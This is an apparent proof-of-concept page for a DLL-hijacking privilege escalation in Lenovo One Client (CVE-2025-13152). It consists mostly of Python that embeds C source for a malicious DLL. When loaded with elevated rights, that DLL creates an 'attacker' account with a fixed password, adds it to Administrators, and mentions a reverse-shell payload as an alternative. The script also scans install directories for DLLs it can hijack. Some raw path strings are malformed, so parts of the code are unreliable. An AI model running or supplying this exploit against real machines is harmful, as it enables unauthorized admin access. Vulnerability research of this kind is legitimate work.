CVE-2025-13152 | Lenovo One Client DLL劫持本地权限提升漏洞

# CVE-2025-13152 PoC - Lenovo One Client DLL Hijacking # This PoC demonstrates the DLL hijacking vulnerability concept # Note: For authorized security testing only import os import ctypes import sys def create_malicious_dll(): """ Generate malicious DLL that creates a privileged reverse shell This DLL will be loaded by Lenovo One Client instead of the legitimate one """ dll_code = ''' #include <windows.h> #include <stdio.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Create admin user for privilege escalation // This is executed with Lenovo One Client's elevated privileges system("net user attacker P@ssw0rd123 /add"); system("net localgroup Administrators attacker /add"); // Alternative: Create reverse shell payload // system("powershell -e <encoded_payload>") // Log exploitation attempt FILE *log = fopen("C:\\\\Temp\\\\lenovo_exploit.log", "a"); if (log) { fprintf(log, "[+] DLL hijacked successfully at %s\n", __TIME__); fclose(log); } break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ''' return dll_code def check_vulnerability(): """ Check if Lenovo One Client is installed and identify vulnerable DLL paths """ common_paths = [ r"C:\Program Files\Lenovo\One Client\", r"C:\Program Files (x86)\Lenovo\One Client\", os.path.expanduser(r"~\AppData\Local\Lenovo\One Client\") ] vulnerable_dlls = [] for path in common_paths: if os.path.exists(path): print(f"[+] Found Lenovo One Client installation at: {path}") # Check for DLLs that might be vulnerable to hijacking for dll in os.listdir(path): if dll.endswith('.dll'): vulnerable_dlls.append(os.path.join(path, dll)) return vulnerable_dlls def place_malicious_dll(target_path, dll_name="vulnerable.dll"): """ Place malicious DLL in the target directory WARNING: This is for authorized testing only """ malicious_path = os.path.join(target_path, dll_name) print(f"[*] Target DLL path: {malicious_path}") print("[*] In real attack, malicious DLL would be placed here") # For demonstration, create a benign marker file marker_file = malicious_path + ".marker" with open(marker_file, 'w') as f: f.write("DLL hijacking PoC marker - authorized testing only") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-13152 - Lenovo One Client DLL Hijacking PoC") print("For authorized security testing only") print("=" * 60) # Step 1: Identify vulnerable installation print("\n[1] Scanning for Lenovo One Client installation...") dlls = check_vulnerability() if not dlls: print("[-] Lenovo One Client not found or no accessible DLLs") sys.exit(0) print(f"[+] Found {len(dlls)} potential target DLLs") # Step 2: Generate malicious DLL code print("\n[2] Generating malicious DLL payload...") dll_code = create_malicious_dll() print("[+] Malicious DLL template generated") # Step 3: Place malicious DLL (for authorized testing) print("\n[3] Identifying DLL search order vulnerability...") for dll in dlls[:1]: # Test first found DLL target_dir = os.path.dirname(dll) dll_name = os.path.basename(dll) place_malicious_dll(target_dir, dll_name) print("\n[*] Note: Actual exploitation requires compiling the malicious DLL") print("[*] and placing it where Lenovo One Client will load it")